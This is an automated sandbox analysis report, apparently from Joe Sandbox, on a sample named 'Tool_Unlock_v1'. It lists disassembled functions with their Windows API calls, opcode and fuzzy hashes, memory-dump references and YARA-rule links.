Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: b7a471db900ed1157fb51869c99f81ea4ef0dc1251bcbe04cd065fd9f4d0102e
Instruction ID: 9464a98ed31b19974d8c6038ad1d0bf360461ec3e0720d88ba3cdc2027002df0
Opcode Fuzzy Hash: b7a471db900ed1157fb51869c99f81ea4ef0dc1251bcbe04cd065fd9f4d0102e
Instruction Fuzzy Hash: 220144766282964ECB179B38F9F66A8FB10FF95339F20716FD011A94C1CB129851C300

Function 00337770 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 003377C6

Part of subcall function 0033AF64: CloseThreadpoolWork.KERNEL32(?,00000000,?,003378DA,00000000), ref: 0033AF72

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CloseConcurrency::details::_Release_choreThreadpoolWork
String ID:
API String ID: 312417170-0
Opcode ID: fb5464e93dfdbd371884c4600776c75a9dca017d559f1864756820e621e3a210
Instruction ID: 8c2e3710f135bbe8d1c8e760f3ce48816c53731678e652f5b17d3074ad55956d
Opcode Fuzzy Hash: fb5464e93dfdbd371884c4600776c75a9dca017d559f1864756820e621e3a210
Instruction Fuzzy Hash: F0014BB1C00A599BDB05EF94DC4679EFBB4FB44720F004239E8196B351E379AA45CBD2

Function 0034BF11 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0034DF35,?,?,0034DF35,00000220,?,00000000,?), ref: 0034BF43

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2f3b0164316d16f52d103365bc78baed589b8d52ce957a756d34576b95b9a46b
Instruction ID: 496a0a34e59cead45fdb407e6c02e4ca4d970ba2c10211cdd72c3af5e434baf9
Opcode Fuzzy Hash: 2f3b0164316d16f52d103365bc78baed589b8d52ce957a756d34576b95b9a46b
Instruction Fuzzy Hash: EAE06D3160962167DA232E669C01B5ABACC9F51BA0F160161EC5D9E191DF60FC04C9A1

Function 003398F0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0033990F

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 1be4b8c8b8390cdebc4114a888f55954c82c50da87d4ed38f317d682aa1220e4
Instruction ID: 249b2265dd25ef11e6979964ec4564a01f0b32febaad5f0cf5cdbb565e19ed12
Opcode Fuzzy Hash: 1be4b8c8b8390cdebc4114a888f55954c82c50da87d4ed38f317d682aa1220e4
Instruction Fuzzy Hash: 51D0A73A7014248F87177B29A85492EB395FFC8720757445AE940D7346CB64DC428BC0

Non-executed Functions

Function 00351287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(?,?,00345495,00368E38,0000000C), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000), ref: 0034C210

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0035138F
IsValidCodePage.KERNEL32(00000000), ref: 003513CD
IsValidLocale.KERNEL32(?,00000001), ref: 003513E0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00351428
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00351443

Strings

,K6, xrefs: 0035133C

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,K6
API String ID: 415426439-304178625
Opcode ID: 2336269c8c42ab55f7ff2758fc71f72c6359ca4b5468c448b2282936e58eba19
Instruction ID: b75b0031fac25ff66391bff52f9cdd5f7d3c8d6eda116a05abf3088f5b7e6ca0
Opcode Fuzzy Hash: 2336269c8c42ab55f7ff2758fc71f72c6359ca4b5468c448b2282936e58eba19
Instruction Fuzzy Hash: 18515075A10205ABDB12EFA5CC45FBE77B8EF05742F154469FD01EB1A0E7709A48CB60

Function 00357792 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 003579A9

Strings

1#QNAN, xrefs: 003578A5
1#INF, xrefs: 003578C8
1#IND, xrefs: 00357897
1#SNAN, xrefs: 0035789E

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 3594768fc1a9dd7d50095d0ae3f8b9aac44c67967bef439b891f364b65b8033b
Instruction ID: 5b09e74a341a42b9fcda345a3fe7ac8167ca8a3d6ba0a3b81f925c31ec3f69d2
Opcode Fuzzy Hash: 3594768fc1a9dd7d50095d0ae3f8b9aac44c67967bef439b891f364b65b8033b
Instruction Fuzzy Hash: BAD23C71E082298FDB66CF28DC40BEAB7B5EB44305F1545EAD80DE7250DB74AE898F41

Function 00351A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,003513BD,00000002,00000000,?,?,?,003513BD,?,00000000), ref: 00351AA0
GetLocaleInfoW.KERNEL32(?,20001004,003513BD,00000002,00000000,?,?,?,003513BD,?,00000000), ref: 00351AC9
GetACP.KERNEL32(?,?,003513BD,?,00000000), ref: 00351ADE

Strings

ACP, xrefs: 00351A25
OCP, xrefs: 00351A5B

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 6ba24369cf3d398084071c2507831b32fc7296dca43e8120810ab033ee620b7d
Instruction ID: a91ed3cd781a6e7d4ccb68eec1e644554e4f8b06d546151bffaaeb387ce663d7
Opcode Fuzzy Hash: 6ba24369cf3d398084071c2507831b32fc7296dca43e8120810ab033ee620b7d
Instruction Fuzzy Hash: 79218322B02101AAEB378F64C901F9773AAEB54B56B978564ED0AD7224F732DD48C390

Function 00349CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: f69becfe7073c583ab13ce66cbc0fc245c46bb74949607e5fc3398786424f97c
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 06022B71E016199BDF15CFA8C8807AEBBF5FF48314F25826AD515EB380D731AD458B90

Function 00351FE9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003520D9

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6b79ca630653bdc905add34323b83b3c88451ab2402e1b9985e48aef668df0a5
Instruction ID: e8d87897325585c21a02d4afb88f266ca75f8b167d8d64091967ec0d143b2ea6
Opcode Fuzzy Hash: 6b79ca630653bdc905add34323b83b3c88451ab2402e1b9985e48aef668df0a5
Instruction Fuzzy Hash: F471F5B19051595FDF22AF34DC89EFBB7B9AB06301F1441D9E848AB261DB319E88CF10

Function 0033F8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0033F8F5
IsDebuggerPresent.KERNEL32 ref: 0033F9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0033F9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 0033F9E4

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 4ad787052d7aac9c494dba38dcee493bd5aafde5264262d445c3ea585c7d7dcd
Instruction ID: 046fb04ca3cec2299b9a874d0955f3a607828e3bb0ac4221ea184def030cfbf7
Opcode Fuzzy Hash: 4ad787052d7aac9c494dba38dcee493bd5aafde5264262d445c3ea585c7d7dcd
Instruction Fuzzy Hash: 9B310875D01219EBDF22DFA4DD897CDBBB8AF08300F1041AAE40CAB250EB759A84CF45

Function 00351580 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(?,?,00345495,00368E38,0000000C), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000), ref: 0034C210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003515D4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0035161E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003516E4

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 0a2e30d4942cf1117d362ec0e95a30d4bce3356f04400158083c4e377f465d8e
Instruction ID: f11bf7d4e35b33682f7384ea2547797da469a43390d29c69c46e309787703601
Opcode Fuzzy Hash: 0a2e30d4942cf1117d362ec0e95a30d4bce3356f04400158083c4e377f465d8e
Instruction Fuzzy Hash: BD61D4716102079FDB2A9F28CD82FBA73A8EF08702F15417AED05CA5A5F774D988CB50

Function 00347E30 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00347F28
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00347F32
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00347F3F

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9fd25132137b371e63171485556e161f6b5b9cd5368be044bfddb5bca272b4bf
Instruction ID: 41a713b3051b48d3269845e83a50e77c2a9dc138c13c3d69e78e4ca36e08afc2
Opcode Fuzzy Hash: 9fd25132137b371e63171485556e161f6b5b9cd5368be044bfddb5bca272b4bf
Instruction Fuzzy Hash: 6331B374901218ABCB62DF64DD8978DBBF8BF08350F5041EAE40CAB251E7709F858F45

Function 003400B4 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32 ref: 003400EC
GetSystemTimeAsFileTime.KERNEL32(?,4EEB0981,00338E30,?,0035BE77,000000FF,?,0033FDB4,?,00000000,00000000,?,0033FDD8,?,00338E30,?), ref: 003400F0

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 559c54df0159ae31e94e8d46854a9e98d606394175cfa1a2eb6b4b47688b6ee8
Instruction ID: 0fed942a0029c96fcc0827c9cd3a8eacc91617d1f2f018b8312439155bd3915b
Opcode Fuzzy Hash: 559c54df0159ae31e94e8d46854a9e98d606394175cfa1a2eb6b4b47688b6ee8
Instruction Fuzzy Hash: DCF03032A48A94EBC7078F54DC01BAAB7ACF708B50F05812AED1297690DBB569009B90

Function 00343FB2 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 00344136
(=4, xrefs: 003442D6, 00344278, 0034421A, 0034419B

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID: (=4$0
API String ID: 0-3246469090
Opcode ID: 3e5573fc3fefe607dfba50953bfe690408effe9404ad81ed5342767fdac25630
Instruction ID: 40609be8f4a204fb84e710e958f51a658edb633708e486121f2c9ba8d0b5faef
Opcode Fuzzy Hash: 3e5573fc3fefe607dfba50953bfe690408effe9404ad81ed5342767fdac25630
Instruction Fuzzy Hash: C2B1EF3090060A8BCB26CE68C9557BEFBF5AF15300F154A3DE692AFA81C771BE55CB41

Function 00355C5E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00355BB9,?,?,00000008,?,?,0035BCAB,00000000), ref: 00355E8B

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 2f0ab94a91afafdbc6eb3561214bf2c6458321ac67cfabc72ffba1628c295f02
Instruction ID: 9096ac12e430f3b92011c9c9e4611bdc9ff42476b5bfcce3d387fcccb659abd0
Opcode Fuzzy Hash: 2f0ab94a91afafdbc6eb3561214bf2c6458321ac67cfabc72ffba1628c295f02
Instruction Fuzzy Hash: 3DB12B32110A08DFD716CF28C49AB657BE0FF45366F2A8658E899CF2B1C335E985CB40

Function 0033F555 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0033F56B

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f97965efa19c0b7ec1372eb322c21f9c694eb2f53af62304b62f53e4defcbdb1
Instruction ID: 5d2141af959e47fb001d0ad637c90d418343983df47f5f9163b17439db248f7e
Opcode Fuzzy Hash: f97965efa19c0b7ec1372eb322c21f9c694eb2f53af62304b62f53e4defcbdb1
Instruction Fuzzy Hash: 91A148B2D106558FDB1ACF58D8C16A9BBF9FB48364F25C52AD411EB360D3B49980CF50

Function 00351F38 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0034D2B4: HeapAlloc.KERNEL32(00000008,?,?,?,0034C1B7,00000001,00000364,?,00000005,000000FF,?,00345495,00368E38,0000000C), ref: 0034D2F5

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003520D9
FindNextFileW.KERNEL32(00000000,?), ref: 003521CD
FindClose.KERNEL32(00000000), ref: 0035220C
FindClose.KERNEL32(00000000), ref: 0035223F

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: e700c5c90c64628ffa9f1341514620209ba7011f902a5b104b5f9a1412d70519
Instruction ID: edefba25563c417b356f32a7b030950d0a64246e4578776acdbe00583b81f800
Opcode Fuzzy Hash: e700c5c90c64628ffa9f1341514620209ba7011f902a5b104b5f9a1412d70519
